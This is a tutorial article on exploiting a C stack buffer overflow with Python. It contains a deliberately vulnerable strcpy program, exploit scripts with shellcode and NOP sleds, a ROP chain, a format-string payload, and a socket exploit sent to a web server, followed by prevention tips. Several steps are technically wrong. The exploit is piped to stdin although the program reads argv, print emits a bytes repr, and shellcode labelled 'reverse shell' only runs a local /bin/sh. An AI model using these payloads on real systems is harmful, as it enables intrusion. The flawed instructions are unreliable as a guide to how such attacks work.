Exploiting Buffer Overflows in C With Python

⚠️
This article discusses buffer overflow exploitation techniques for educational purposes only. Unauthorized exploitation of vulnerabilities is illegal and unethical. Always practice responsible disclosure and only test on systems you own or have explicit permission to assess.

Understanding Buffer Overflows

Buffer overflows occur when a program writes data beyond the boundaries of an allocated memory buffer, potentially overwriting adjacent memory and allowing arbitrary code execution. Let’s examine a vulnerable C program:

vulnerable.c
#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);
    printf("Input: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if (argc > 1) {
        vulnerable_function(argv[1]);
    }
    return 0;
}

This program copies a command-line argument into a fixed-size buffer without length checking, making it vulnerable to buffer overflow attacks.

Crafting the Exploit

Let’s use Python to generate a payload that exploits this vulnerability:

exploit.py
import struct

# Shellcode (executes /bin/sh)
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Buffer size and offset calculation
buffer_size = 64
offset = buffer_size + 12  # Account for saved EBP and other stack data

# Return address (example, needs adjustment for your system)
return_address = struct.pack("<I", 0xbffff7c0)

# Construct the payload
payload = b"A" * offset
payload += return_address
payload += b"\x90" * 16  # NOP sled
payload += shellcode

print(payload)

This script generates a payload that:

  1. Fills the buffer with ‘A’ characters
  2. Overwrites the return address
  3. Adds a NOP sled
  4. Appends the shellcode

Executing the Exploit

To use this exploit:

  1. Compile the vulnerable C program:

    gcc -m32 -fno-stack-protector -z execstack vulnerable.c -o vulnerable
  2. Run the Python script and pipe the output to the vulnerable program:

    python3 exploit.py | ./vulnerable

If successful, this should spawn a shell.

Advanced Techniques

Return-Oriented Programming (ROP)

For systems with DEP (Data Execution Prevention), we can use Return-Oriented Programming:

rop_exploit.py
from struct import pack

# ROP gadgets (addresses will vary)
pop_ret = pack('<I', 0x080483e1)
system_plt = pack('<I', 0x08048380)
exit_plt = pack('<I', 0x08048390)
bin_sh = pack('<I', 0x08048500)

payload = b"A" * 76
payload += pop_ret
payload += system_plt
payload += exit_plt
payload += bin_sh

print(payload)

This payload constructs a ROP chain to call system("/bin/sh") and exit cleanly.

Format String Vulnerabilities

Buffer overflows often accompany format string vulnerabilities:

format_string_exploit.py
# Exploit for: printf(user_input);
payload = b"%x " * 10  # Print stack values
payload += b"%n"       # Write to memory

print(payload)

This payload prints stack values and potentially writes to memory.

Use Case: Exploiting a Web Server

Let’s consider a scenario where a web server has a buffer overflow vulnerability in its request handling:

sequenceDiagram
    participant Client
    participant WebServer
    participant VulnerableFunction
    Client->>WebServer: Send crafted HTTP request
    WebServer->>VulnerableFunction: Process request
    VulnerableFunction->>VulnerableFunction: Buffer overflow occurs
    VulnerableFunction->>WebServer: Execution hijacked
    WebServer->>Client: Attacker gains control

Exploit code for this scenario:

web_server_exploit.py
import socket

# Shellcode to spawn a reverse shell
shellcode = b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"

# Craft the exploit
buffer = b"A" * 1024
eip = b"\x12\x34\x56\x78"  # Return address (example)
nop_sled = b"\x90" * 32

payload = buffer + eip + nop_sled + shellcode

# Send the exploit
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("target_server", 80))
s.send(b"GET / HTTP/1.1\r\nHost: target_server\r\n" + payload + b"\r\n\r\n")
s.close()

Buffer Overflow Prevention

To prevent buffer overflows, developers should:

  1. Use safe string functions (e.g., strncpy instead of strcpy)
  2. Implement bounds checking
  3. Use compiler protections like stack canaries
  4. Enable Address Space Layout Randomization (ASLR)

Example of safer C code:

safe_code.c
#include <stdio.h>
#include <string.h>

void safe_function(const char *input) {
    char buffer[64];
    strncpy(buffer, input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    printf("Input: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if (argc > 1) {
        safe_function(argv[1]);
    }
    return 0;
}

Conclusion

Buffer overflow exploitation is a complex topic with many nuances. This article provides a starting point, but real-world scenarios often require more advanced techniques and careful analysis of the target system.

Remember to always practice ethical hacking and only test on systems you have permission to assess. Understanding these vulnerabilities is crucial for both offensive security professionals and developers aiming to write more secure code.